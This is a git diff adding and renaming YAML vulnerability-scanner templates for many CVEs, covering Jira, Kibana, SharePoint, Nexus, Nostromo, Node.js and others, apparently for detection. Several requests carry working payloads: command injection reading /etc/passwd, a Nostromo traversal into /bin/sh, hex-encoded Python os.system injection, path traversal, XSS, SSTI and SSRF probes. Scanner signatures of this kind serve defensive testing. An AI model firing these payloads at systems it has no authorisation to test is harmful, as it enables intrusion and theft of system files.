This domain is for use in illustrative examples in documents.') +references: + - https://www.cvebase.com/cve/2019/8451 diff --git a/cves/jira-ssrf.yaml b/cves/jira-ssrf.yaml deleted file mode 100644 index 4f8731b..0000000 --- a/cves/jira-ssrf.yaml +++ /dev/null @@ -1,31 +0,0 @@ -# info to search signature -id: cve-jira-02 -type: list -info: - name: Jira SSRF CVE-2019-8451 - risk: Medium - -variables: - - jira: | - / - /jira/ - /wiki/ - /confluence/ - - ssrf: | - google.com - example.com - -requests: - - method: GET - redirect: true - url: >- - {{.BaseURL}}{{.jira}}plugins/servlet/gadgets/makeRequest?url=https://127.0.0.1:443@{{.ssrf}} - headers: - - User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:55.0) Gecko/20100101 Firefox/55.0 - - X-Atlassian-Token: no-check - detections: - - >- - StatusCode() == 200 && StringSearch("response", '{"rc":200') - -reference: - - link: https://jira.atlassian.com/browse/JRASERVER-70018 \ No newline at end of file diff --git a/cves/jira-ssti-cve-2019-11581.yaml b/cves/jira-ssti-cve-2019-11581.yaml new file mode 100644 index 0000000..49c4cd9 --- /dev/null +++ b/cves/jira-ssti-cve-2019-11581.yaml @@ -0,0 +1,22 @@ +id: CVE-2019-11581 +info: + name: Jira SSTI + risk: High + +params: + - root: '{{.BaseURL}}/' + +variables: + - endpoint: | + secure/ContactAdministrators +requests: + - method: GET + url: >- + {{.root}}{{.endpoint}}!default.jspa + headers: + - User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_1) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/80.0.3984.0 Safari/537.36 + detections: + - >- + StatusCode() == 200 && StringSearch("resBody", "Contact Site Administrators") && StringSearch("resBody", "Request details") +references: + - https://www.cvebase.com/cve/2019/11581 diff --git a/cves/jira-user-enumeration-cve-2020-14181.yaml b/cves/jira-user-enumeration-cve-2020-14181.yaml new file mode 100644 index 0000000..5d467f9 --- /dev/null +++ b/cves/jira-user-enumeration-cve-2020-14181.yaml @@ -0,0 +1,23 @@ +id: CVE-2020-14181 +info: + name: Jira User Enumeration + risk: Medium + +params: + - root: '{{.BaseURL}}/' + +variables: + - endpoint: | + secure/ViewUserHover.jspa +requests: + - method: GET + url: >- + {{.root}}{{.endpoint}} + headers: + - User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_1) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/80.0.3984.0 Safari/537.36 + detections: + - >- + StatusCode() == 200 && StringSearch("resBody", "User does not exist") + +references: + - https://www.cvebase.com/cve/2020/14181 diff --git a/cves/jira-xss-cve-2018-20824.yaml b/cves/jira-xss-cve-2018-20824.yaml new file mode 100644 index 0000000..4ab7d41 --- /dev/null +++ b/cves/jira-xss-cve-2018-20824.yaml @@ -0,0 +1,22 @@ +id: CVE-2018-20824 +info: + name: Atlassian Jira XSS + risk: Medium + +params: + - root: '{{.BaseURL}}/' + +variables: + - endpoint: | + plugins/servlet/Wallboard/ +requests: + - method: GET + url: >- + {{.root}}{{.endpoint}}?dashboardId=10000&dashboardId=10000&cyclePeriod=alert(document.domain) + headers: + - User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_1) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/80.0.3984.0 Safari/537.36 + detections: + - >- + StatusCode() == 200 && RegexSearch("resBody", "(?mi)timeout:\salert\(document\.domain\)") +references: + - https://www.cvebase.com/cve/2018/20824 diff --git a/cves/jira-xss-cve-2020-9344.yaml b/cves/jira-xss-cve-2020-9344.yaml new file mode 100644 index 0000000..fbd87b5 --- /dev/null +++ b/cves/jira-xss-cve-2020-9344.yaml @@ -0,0 +1,49 @@ +id: CVE-2020-9344 +info: + name: Jira Subversion ALM XSS + risk: Medium + +params: + - root: '{{.BaseURL}}/' + + +requests: + - method: GET + url: >- + {{.root}}plugins/servlet/svnwebclient/changedResource.jsp?url=%22%3E%3Cscript%3Ealert(document.domain)%3C%2Fscript%3E + headers: + - User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_1) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/80.0.3984.0 Safari/537.36 + + detections: + - >- + StatusCode() == 200 && StringSearch("resBody", "") + - method: GET + url: >- + {{.root}}plugins/servlet/svnwebclient/commitGraph.jsp?url=%22%3E%3Cscript%3Ealert(document.domain)%3C%2Fscript%3E + headers: + - User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_1) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/80.0.3984.0 Safari/537.36 + + detections: + - >- + StatusCode() == 200 && StringSearch("resBody", "") + - method: GET + url: >- + {{.root}}plugins/servlet/svnwebclient/error.jsp?errormessage=%27%22%3E%3Cscript%3Ealert(document.domain)%3C%2Fscript%3E&description=test + headers: + - User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_1) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/80.0.3984.0 Safari/537.36 + + detections: + - >- + StatusCode() == 200 && StringSearch("resBody", "") + - method: GET + url: >- + {{.root}}plugins/servlet/svnwebclient/statsItem.jsp?url=%3Cscript%3Ealert(document.domain)%3C%2Fscript%3E + headers: + - User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_1) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/80.0.3984.0 Safari/537.36 + + detections: + - >- + StatusCode() == 200 && StringSearch("resBody", "") + +references: + - https://www.cvebase.com/cve/2020/9344 diff --git a/cves/jolokia-xss-cve-2018-1000129.yaml b/cves/jolokia-xss-cve-2018-1000129.yaml new file mode 100644 index 0000000..89af44e --- /dev/null +++ b/cves/jolokia-xss-cve-2018-1000129.yaml @@ -0,0 +1,23 @@ +id: CVE-2018-1000129 +info: + name: Jolokia XSS + risk: High + +params: + - root: '{{.BaseURL}}/' + +variables: + - endpoint: | + jolokia/ + api/jolokia/ +requests: + - method: GET + url: >- + {{.root}}{{.endpoint}}read?mimeType=text/html + headers: + - User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_1) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/80.0.3984.0 Safari/537.36 + detections: + - >- + StatusCode() == 200 && StringSearch("resBody", "") && StringSearch("resHeader", "text/html") +references: + - https://www.cvebase.com/cve/2018/1000129 diff --git a/cves/kibana-timelion-code-execution-cve-2019-7609.yaml b/cves/kibana-timelion-code-execution-cve-2019-7609.yaml new file mode 100644 index 0000000..9fa12a2 --- /dev/null +++ b/cves/kibana-timelion-code-execution-cve-2019-7609.yaml @@ -0,0 +1,24 @@ +id: CVE-2019-7609 +info: + name: Kibana Timelion Code Execution + risk: Critical + +params: + - root: '{{.BaseURL}}/' + +variables: + - endpoint: | + api/timelion/run +requests: + - method: POST + url: >- + {{.root}}{{.endpoint}} + headers: + - User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_1) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/80.0.3984.0 Safari/537.36 + body: "{\"sheet\":[\".es(*)\"],\"time\":{\"from\":\"now-1m\",\"to\":\"now\",\"mode\":\"quick\",\"interval\":\"auto\",\"timezone\":\"Asia/Shanghai\"}}" + detections: + - >- + StatusCode() == 200 && StringSearch("resBody", "seriesList") && StringSearch("resHeaders", "Content-Type: application/json") + +references: + - https://www.cvebase.com/cve/2019/7609 diff --git a/cves/kong-api-improper-authorization-cve-2020-11710.yaml b/cves/kong-api-improper-authorization-cve-2020-11710.yaml new file mode 100644 index 0000000..0931e98 --- /dev/null +++ b/cves/kong-api-improper-authorization-cve-2020-11710.yaml @@ -0,0 +1,23 @@ +id: CVE-2020-11710 +info: + name: Kong API Improper Authorization + risk: Critical + +params: + - root: '{{.BaseURL}}/' + +variables: + - endpoint: | + status +requests: + - method: GET + url: >- + {{.root}}{{.endpoint}} + headers: + - User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_1) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/80.0.3984.0 Safari/537.36 + detections: + - >- + StatusCode() == 200 && (StringSearch("resBody", "kong_env") || StringSearch("resBody", "kong_db_cache_miss")) + +references: + - https://www.cvebase.com/cve/2020/11710 diff --git a/cves/kong-cve-2020-11710 copy.yaml b/cves/kong-cve-2020-11710 copy.yaml deleted file mode 100644 index 20e4a70..0000000 --- a/cves/kong-cve-2020-11710 copy.yaml +++ /dev/null @@ -1,26 +0,0 @@ -id: kong-cve-2020-11710 -info: - name: Kong Admin API - risk: High - -params: - - root: '{{.BaseURL}}' - -variables: - - end: | - / - /status -requests: - - method: GET - url: >- - {{.root}}{{.end}} - headers: - - User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:55.0) Gecko/20100101 Firefox/55 - detections: - - >- - StatusCode() == 200 && StringSearch("response", "kong_env") - - >- - StatusCode() == 200 && StringSearch("response", "kong_db_cache_miss") - -reference: - - link: https://mp.weixin.qq.com/s/Ttpe63H9lQe87Uk0VOyMFw \ No newline at end of file diff --git a/cves/kong-cve-2020-11710.yaml b/cves/kong-cve-2020-11710.yaml deleted file mode 100644 index 20e4a70..0000000 --- a/cves/kong-cve-2020-11710.yaml +++ /dev/null @@ -1,26 +0,0 @@ -id: kong-cve-2020-11710 -info: - name: Kong Admin API - risk: High - -params: - - root: '{{.BaseURL}}' - -variables: - - end: | - / - /status -requests: - - method: GET - url: >- - {{.root}}{{.end}} - headers: - - User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:55.0) Gecko/20100101 Firefox/55 - detections: - - >- - StatusCode() == 200 && StringSearch("response", "kong_env") - - >- - StatusCode() == 200 && StringSearch("response", "kong_db_cache_miss") - -reference: - - link: https://mp.weixin.qq.com/s/Ttpe63H9lQe87Uk0VOyMFw \ No newline at end of file diff --git a/cves/kubelet-pprof-exposed-cve-2019-11248.yaml b/cves/kubelet-pprof-exposed-cve-2019-11248.yaml new file mode 100644 index 0000000..7ee4fa1 --- /dev/null +++ b/cves/kubelet-pprof-exposed-cve-2019-11248.yaml @@ -0,0 +1,22 @@ +id: CVE-2019-11248 +info: + name: Kubelet PProf Exposed + risk: High + +params: + - root: '{{.BaseURL}}/' + +variables: + - endpoint: | + debug/pprof/ +requests: + - method: GET + url: >- + {{.root}}{{.endpoint}} + headers: + - User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_1) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/80.0.3984.0 Safari/537.36 + detections: + - >- + StringSearch("resBody", "Types of profiles available:") || StringSearch("resBody", "Profile Descriptions") +references: + - https://www.cvebase.com/cve/2019/11248 diff --git a/cves/kubernetes-improper-authentication-cve-2018-18264.yaml b/cves/kubernetes-improper-authentication-cve-2018-18264.yaml new file mode 100644 index 0000000..a267044 --- /dev/null +++ b/cves/kubernetes-improper-authentication-cve-2018-18264.yaml @@ -0,0 +1,23 @@ +id: CVE-2018-18264 +info: + name: Kubernetes Improper Authentication + risk: High + +params: + - root: '{{.BaseURL}}' + + +variables: + - endpoints: | + /api/v1/ + /k8s/api/v1/ +requests: + - method: GET + redirect: false + url: >- + {{.root}}{{.endpoints}}namespaces/kube-system/secrets/kubernetes-dashboard-certs + detections: + - >- + StatusCode() == 200 && StringSearch("response", "apiVersion") && StringSearch("response", "objectRef") +references: + - https://www.cvebase.com/cve/2018/18264 \ No newline at end of file diff --git a/cves/linuxki-rce-cve-2020-7209.yaml b/cves/linuxki-rce-cve-2020-7209.yaml new file mode 100644 index 0000000..b25b1ac --- /dev/null +++ b/cves/linuxki-rce-cve-2020-7209.yaml @@ -0,0 +1,24 @@ +id: CVE-2020-7209 +info: + name: LinuxKI Toolset RCE + risk: Critical + +params: + - root: '{{.BaseURL}}/' + +variables: + - endpoint: | + linuxki/experimental/vis/kivis.php + +requests: + - method: GET + url: >- + {{.root}}{{.endpoint}}?type=kitrace&pid=0;echo%20START;cat%20/etc/passwd;echo%20END; + headers: + - User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_1) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/80.0.3984.0 Safari/537.36 + detections: + - >- + StatusCode() == 200 && RegexSearch("resBody", "root:[x*]:0:0:") + +references: + - https://www.cvebase.com/cve/2020/7209 diff --git a/cves/lotus-domino-info-leak-cve-2005-2428.yaml b/cves/lotus-domino-info-leak-cve-2005-2428.yaml new file mode 100644 index 0000000..d9cd776 --- /dev/null +++ b/cves/lotus-domino-info-leak-cve-2005-2428.yaml @@ -0,0 +1,21 @@ +id: CVE-2005-2428 +info: + name: Lotus Domino Sensitive Information Leak + risk: Medium + +params: + - root: '{{.BaseURL}}/' + +requests: + - method: GET + redirect: false + url: >- + {{.root}}names.nsf/People?OpenView + headers: + - User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:55.0) Gecko/20100101 Firefox/55 + detections: + - >- + StatusCode() == 200 && RegexSearch('resBody', '(- + {{.root}}index.php/catalogsearch/advanced/result/?name=e + headers: + - User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_1) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/80.0.3984.0 Safari/537.36 + detections: + - >- + StatusCode() == 503 && StringSearch("resBody", "Too many connections") + +references: + - https://www.cvebase.com/cve/2020/5777 diff --git a/cves/magento-magmi-xss-cve-2017-7391.yaml b/cves/magento-magmi-xss-cve-2017-7391.yaml new file mode 100644 index 0000000..f928e9b --- /dev/null +++ b/cves/magento-magmi-xss-cve-2017-7391.yaml @@ -0,0 +1,22 @@ +id: CVE-2017-7391 +info: + name: Magento MAGMI XSS + risk: Medium + +params: + - root: '{{.BaseURL}}/' + +variables: + - endpoint: | + magmi/web/ajax_gettime.php +requests: + - method: GET + url: >- + {{.root}}{{.endpoint}}?prefix=%22%3E%3Cscript%3Ealert("cvebase");%3C/script%3E%3C + headers: + - User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_1) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/80.0.3984.0 Safari/537.36 + detections: + - >- + StatusCode() == 200 && StringSearch("resBody", '"><') +references: + - https://www.cvebase.com/cve/2017/7391 diff --git a/cves/mara-cms-reflective-xss-cve-2020-24223.yaml b/cves/mara-cms-reflective-xss-cve-2020-24223.yaml new file mode 100644 index 0000000..b486076 --- /dev/null +++ b/cves/mara-cms-reflective-xss-cve-2020-24223.yaml @@ -0,0 +1,23 @@ +id: CVE-2020-24223 +info: + name: Mara CMS Reflective XSS + risk: Medium + +params: + - root: '{{.BaseURL}}/' + +variables: + - endpoint: | + contact.php +requests: + - method: POST + url: >- + {{.root}}{{.endpoint}}?theme=tes%22%3E%3Cscript%3Ealert(document.domain)%3C/script%3E + headers: + - User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_1) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/80.0.3984.0 Safari/537.36 + detections: + - >- + StatusCode() == 200 && StringSearch("resBody", '">') + +references: + - https://www.cvebase.com/cve/2020/24223 diff --git a/cves/mida-eframework-rce-cve-2020-15920.yaml b/cves/mida-eframework-rce-cve-2020-15920.yaml new file mode 100644 index 0000000..7d00c51 --- /dev/null +++ b/cves/mida-eframework-rce-cve-2020-15920.yaml @@ -0,0 +1,23 @@ +id: CVE-2020-15920 +info: + name: Mida eFramework RCE + risk: Medium + +params: + - root: '{{.BaseURL}}/' + +variables: + - endpoint: | + PDC/ajaxreq.php +requests: + - method: GET + url: >- + {{.root}}{{.endpoint}}?PARAM=127.0.0.1+-c+0%3B+cat+%2Fetc%2Fpasswd&DIAGNOSIS=PING + headers: + - User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_1) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/80.0.3984.0 Safari/537.36 + detections: + - >- + StatusCode() == 200 && RegexSearch("resBody", "root:[x*]:0:0:") + +references: + - https://www.cvebase.com/cve/2020/15920 diff --git a/cves/mobileiron-rce-probe.yaml b/cves/mobileiron-rce-cve-2020-15505.yaml similarity index 71% rename from cves/mobileiron-rce-probe.yaml rename to cves/mobileiron-rce-cve-2020-15505.yaml index aedb7b5..965a1b3 100644 --- a/cves/mobileiron-rce-probe.yaml +++ b/cves/mobileiron-rce-cve-2020-15505.yaml @@ -1,6 +1,6 @@ -id: mobileiron-rce-probe +id: CVE-2020-15505 info: - name: Mobileiron RCE Probe CVE-2020-15505 + name: MobileIron RCE risk: Potential params: @@ -10,7 +10,6 @@ params: variables: - endpoint: | /mifs/.;/services/LogService - requests: - method: POST redirect: false @@ -25,7 +24,5 @@ requests: detections: - >- StatusCode() == 200 && StringSearch("response", "application/x-hessian") && ContentLength('body') == 0 - references: - - blog: https://blog.orange.tw/2020/09/how-i-hacked-facebook-again-mobileiron-mdm-rce.html - - poc: https://github.com/iamnoooob/CVE-Reverse/tree/master/CVE-2020-15505 \ No newline at end of file + - https://www.cvebase.com/cve/2020/15505 \ No newline at end of file diff --git a/cves/ms-sharepoint-rce-cve-2020-1147.yaml b/cves/ms-sharepoint-rce-cve-2020-1147.yaml new file mode 100644 index 0000000..2a97c08 --- /dev/null +++ b/cves/ms-sharepoint-rce-cve-2020-1147.yaml @@ -0,0 +1,22 @@ +id: CVE-2020-1147 +info: + name: Microsoft Sharepoint Server RCE + risk: High + +params: + - root: '{{.BaseURL}}/' + +variables: + - endpoint: | + _layouts/15/listform.aspx +requests: + - method: GET + url: >- + {{.root}}{{.endpoint}}?PageType=1&ListId=%7B13371337-1337-1337-1337-133713371337%7D + headers: + - User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_1) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/80.0.3984.0 Safari/537.36 + detections: + - >- + StatusCode() == 200 && StringSearch("resBody", "List does mot exist") && StringSearch("resBody", "It may have been deleted by another user") && (StringSearch("resHeader", "Microsoft-IIS") || StringSearch("resHeader", "X-SharePointHealthScore") ||StringSearch("resHeader", "SharePointError") || StringSearch("resHeader", "SPRequestGuid") || StringSearch("resHeader", "MicrosoftSharePointTeamServices")) +references: + - https://www.cvebase.com/cve/2020/1147 diff --git a/cves/ms-sharepoint-rce-cve-2020-16952.yaml b/cves/ms-sharepoint-rce-cve-2020-16952.yaml new file mode 100644 index 0000000..dfdbb28 --- /dev/null +++ b/cves/ms-sharepoint-rce-cve-2020-16952.yaml @@ -0,0 +1,20 @@ +id: CVE-2020-16952 +info: + name: Microsoft SharePoint RCE + risk: Critical + +params: + - root: '{{.BaseURL}}/' + +requests: + - method: GET + url: >- + {{.root}} + headers: + - User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_1) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/80.0.3984.0 Safari/537.36 + detections: + - >- + (StatusCode() == 200 || StatusCode() == 201) && StringSearch("resHeaders", "MicrosoftSharePointTeamServices") && (RegexSearch("resBody", "15\\.0\\.0\\.(4571|5275|4351|5056)") || RegexSearch("resBody", "16\\.0\\.0\\.(10337|10364|10366)")) + +references: + - https://www.cvebase.com/cve/2020/16952 diff --git a/cves/netsweeper-code-injection-cve-2020-13167.yaml b/cves/netsweeper-code-injection-cve-2020-13167.yaml new file mode 100644 index 0000000..2287608 --- /dev/null +++ b/cves/netsweeper-code-injection-cve-2020-13167.yaml @@ -0,0 +1,25 @@ +id: CVE-2020-13167 +info: + name: Netsweeper WebAdmin Python Code Injection + risk: High + +params: + - root: '{{.BaseURL}}/' + +variables: + - endpoint: | + webadmin/ +requests: + - method: GET + url: >- + {{.root}}{{.endpoint}}tools/unixlogin.php?login=admin&password=g%27%2C%27%27%29%3Bimport%20os%3Bos.system%28%276563686f2022626d39755a5868706333526c626e513d22207c20626173653634202d64203e202f7573722f6c6f63616c2f6e6574737765657065722f77656261646d696e2f6f7574%27.decode%28%27hex%27%29%29%23&timeout=5 + {{.root}}{{.endpoint}}out + headers: + - User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_1) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/80.0.3984.0 Safari/537.36 + - Referer: "{{.root}}/webadmin/admin/service_manager_data.php" + detections: + - >- + StatusCode() == 200 && StringSearch("resBody", "nonexistent") + +references: + - https://www.cvebase.com/cve/2020/13167 diff --git a/cves/nextjs-disclosure.yaml b/cves/nextjs-disclosure.yaml deleted file mode 100644 index 296ad6e..0000000 --- a/cves/nextjs-disclosure.yaml +++ /dev/null @@ -1,22 +0,0 @@ -id: nextjs-disclosure-01 -info: - name: NestJS CVE-2020-5284 - risk: Medium - confidence: Certain - - -params: - - root: '{{.BaseURL}}' - -requests: - - method: GET - redirect: false - url: >- - {{.root}}/_next/static/../server/pages-manifest.json - headers: - - User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:55.0) Gecko/20100101 Firefox/55 - detections: - - >- - StatusCode() == 200 && StringSearch("response", "application/json") && RegexSearch("response", '\{"/_app":".*?_app\.js"') - - >- - StatusCode() == 200 && StringSearch("response", "application/json") && StringSearch("response", 'typography') && StringSearch("response", 'collection') diff --git a/cves/nextjs-path-traversal-cve-2020-5284.yaml b/cves/nextjs-path-traversal-cve-2020-5284.yaml new file mode 100644 index 0000000..dd55d9b --- /dev/null +++ b/cves/nextjs-path-traversal-cve-2020-5284.yaml @@ -0,0 +1,24 @@ +id: CVE-2020-5284 +info: + name: Next.js Path Traversal + risk: Medium + +params: + - root: '{{.BaseURL}}/' + +variables: + - endpoint: | + _next/static/ + +requests: + - method: GET + url: >- + {{.root}}{{.endpoint}}_next/static/../server/pages-manifest.json + headers: + - User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_1) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/80.0.3984.0 Safari/537.36 + detections: + - >- + StatusCode() == 200 && StringSearch("resHeaders", 'application/json') && RegexSearch("resBody", '\{"/_app":".*?_app\.js"') + +references: + - https://www.cvebase.com/cve/2020/5284 diff --git a/cves/nexus-cve-2019-7238.yaml b/cves/nexus-repository-manager-rce-cve-2019-7238.yaml similarity index 98% rename from cves/nexus-cve-2019-7238.yaml rename to cves/nexus-repository-manager-rce-cve-2019-7238.yaml index 68a1998..bf947f2 100644 --- a/cves/nexus-cve-2019-7238.yaml +++ b/cves/nexus-repository-manager-rce-cve-2019-7238.yaml @@ -1,6 +1,6 @@ -id: common-nexus-rce-01 +id: CVE-2019-7238 info: - name: Nexus Repository RCE CVE-2019-7238 + name: Nexus Repository Manager RCE risk: High requests: @@ -19,4 +19,4 @@ requests: reference: - - https://github.com/jas502n/CVE-2019-7238 \ No newline at end of file + - https://www.cvebase.com/cve/2019/7238 \ No newline at end of file diff --git a/cves/nexus-repository-manager-rce-cve-2020-10199.yaml b/cves/nexus-repository-manager-rce-cve-2020-10199.yaml new file mode 100644 index 0000000..83d42d5 --- /dev/null +++ b/cves/nexus-repository-manager-rce-cve-2020-10199.yaml @@ -0,0 +1,25 @@ +id: CVE-2020-10199 +info: + name: Nexus Repository Manager RCE + risk: High + +params: + - root: '{{.BaseURL}}/' + +variables: + - endpoint: | + rest/beta/repositories/go/group +requests: + - method: GET + url: >- + {{.root}}{{.endpoint}} + headers: + - User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_1) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/80.0.3984.0 Safari/537.36 + - Content-Type: application/json + body: '{"name": "internal","online": true,"storage": {"blobStoreName": "default","strictContentTypeValidation": true},"group": {"memberNames": ["$\\c{ 1337 * 1337 }"]}}' + detections: + - >- + StatusCode() == 400 && StringSearch("resBody", "1787569") + +references: + - https://www.cvebase.com/cve/2020/10199 diff --git a/cves/nexus-repository-manager-rce-cve-2020-10204.yaml b/cves/nexus-repository-manager-rce-cve-2020-10204.yaml new file mode 100644 index 0000000..4e0bb69 --- /dev/null +++ b/cves/nexus-repository-manager-rce-cve-2020-10204.yaml @@ -0,0 +1,24 @@ +id: CVE-2020-10204 +info: + name: Nexus Repository Manager RCE + risk: High + +params: + - root: '{{.BaseURL}}/' + +variables: + - endpoint: | + extdirect +requests: + - method: GET + url: >- + {{.root}}{{.endpoint}} + headers: + - User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_1) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/80.0.3984.0 Safari/537.36 + body: '{"action":"coreui_User","method":"update","data":[{"userId":"anonymous","version":"1","firstName":"Anonymous","lastName":"User2","email":"anonymous@example.org","status":"active","roles":["$\\c{1337*1337"]}],"type":"rpc","tid":28}' + detections: + - >- + StatusCode() == 200 && StringSearch("resBody", "1787569") + +references: + - https://www.cvebase.com/cve/2020/10204 diff --git a/cves/nginx-remote-integer-overflow-cve-2017-7529.yaml b/cves/nginx-remote-integer-overflow-cve-2017-7529.yaml new file mode 100644 index 0000000..37fc18a --- /dev/null +++ b/cves/nginx-remote-integer-overflow-cve-2017-7529.yaml @@ -0,0 +1,23 @@ +id: CVE-2017-7529 +info: + name: Nginx Remote Integer Overflow + risk: Medium + +params: + - root: '{{.BaseURL}}/' + +variables: +requests: + - method: GET + url: >- + {{.root}} + headers: + - User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_1) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/80.0.3984.0 Safari/537.36 + - Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8 + - Range: bytes=-17208,-9223372036854758792 + + detections: + - >- + StatusCode() == 206 && StringSearch("resHeaders", "Server: nginx") && StringSearch("resBody", "Content-Range") +references: + - https://www.cvebase.com/cve/2017/7529 diff --git a/cves/nodejs-path-traversal-cve-2017-14849.yaml b/cves/nodejs-path-traversal-cve-2017-14849.yaml new file mode 100644 index 0000000..78d7f51 --- /dev/null +++ b/cves/nodejs-path-traversal-cve-2017-14849.yaml @@ -0,0 +1,22 @@ +id: CVE-2017-14849 +info: + name: Node.js Path Traversal + risk: High + +params: + - root: '{{.BaseURL}}/' + +variables: + - endpoint: | + static/../../../a/../../../.. +requests: + - method: GET + url: >- + {{.root}}{{.endpoint}}/etc/passwd + headers: + - User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_1) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/80.0.3984.0 Safari/537.36 + detections: + - >- + StatusCode() == 200 && RegexSearch("resBody", "root:[x*]:0:0:") +references: + - https://www.cvebase.com/cve/2017/14849 diff --git a/cves/nodejs-path-traversal-cve-2018-3714.yaml b/cves/nodejs-path-traversal-cve-2018-3714.yaml new file mode 100644 index 0000000..fcc6e56 --- /dev/null +++ b/cves/nodejs-path-traversal-cve-2018-3714.yaml @@ -0,0 +1,22 @@ +id: CVE-2018-3714 +info: + name: Node.js Path Traversal + risk: High + +params: + - root: '{{.BaseURL}}/' + +variables: + - endpoint: | + node_modules/ +requests: + - method: GET + url: >- + {{.root}}{{.endpoint}}../../../../../etc/passwd + headers: + - User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_1) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/80.0.3984.0 Safari/537.36 + detections: + - >- + StatusCode() == 200 && RegexSearch("resBody", "root:[x*]:0:0:") +references: + - https://www.cvebase.com/cve/2018/3714 diff --git a/cves/nostromo-rce-cve-2019-16278.yaml b/cves/nostromo-rce-cve-2019-16278.yaml new file mode 100644 index 0000000..77f3935 --- /dev/null +++ b/cves/nostromo-rce-cve-2019-16278.yaml @@ -0,0 +1,23 @@ +id: CVE-2019-16278 +info: + name: Nostromo RCE + risk: Critical + +params: + - root: '{{.BaseURL}}/' + +requests: + - method: POST + url: >- + {{.root}}.%0d./.%0d./.%0d./.%0d./bin/sh + headers: + - User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_1) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/80.0.3984.0 Safari/537.36 + body: >- + echo + echo + cat /etc/passwd 2>&1 + detections: + - >- + RegexSearch("resBody", "root:[x*]:0:0:") +references: + - https://www.cvebase.com/cve/2019/16278 diff --git a/cves/nuxeo-ssti-cve-2018-16341.yaml b/cves/nuxeo-ssti-cve-2018-16341.yaml new file mode 100644 index 0000000..8e9da37 --- /dev/null +++ b/cves/nuxeo-ssti-cve-2018-16341.yaml @@ -0,0 +1,21 @@ +id: CVE-2018-16341 +info: + name: Nuxeo SSTI + risk: High + +params: + - root: "{{.BaseURL}}" + +requests: + - method: GET + redirect: false + url: >- + {{.root}}/nuxeo/login.jsp/pwn${1199128+7}.xhtml + headers: + - User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:55.0) Gecko/20100101 Firefox/55 + detections: + - >- + StatusCode() == 200 && StringSearch("response", "facelet") && StringSearch("response", "1199135") + +references: + - https://www.cvebase.com/cve/2018/16341 diff --git a/cves/odoo-lfi-cve-2018-15640.yaml b/cves/odoo-lfi-cve-2018-15640.yaml new file mode 100644 index 0000000..556bb12 --- /dev/null +++ b/cves/odoo-lfi-cve-2018-15640.yaml @@ -0,0 +1,31 @@ +id: CVE-2018-15640 +info: + name: Odoo LFI + risk: High + +params: + - root: "{{.BaseURL}}" + +variables: + - endpoint: | + /base_import/static/c:/windows/win.ini + /web/static/c:/windows/win.ini + /base/static/c:/windows/win.ini + +requests: + - method: GET + redirect: false + url: >- + {{.root}}{{.endpoint}} + headers: + - User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:55.0) Gecko/20100101 Firefox/55 + - X-Requested-With: XMLHttpRequest + - Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8 + - Accept-Language: tr-TR,tr;q=0.8,en-US;q=0.5,en;q=0.3 + - Accept-Encoding: gzip, deflate + detections: + - >- + StatusCode() == 200 && StringSearch("body", "for 16-bit app support") && StringSearch("body", 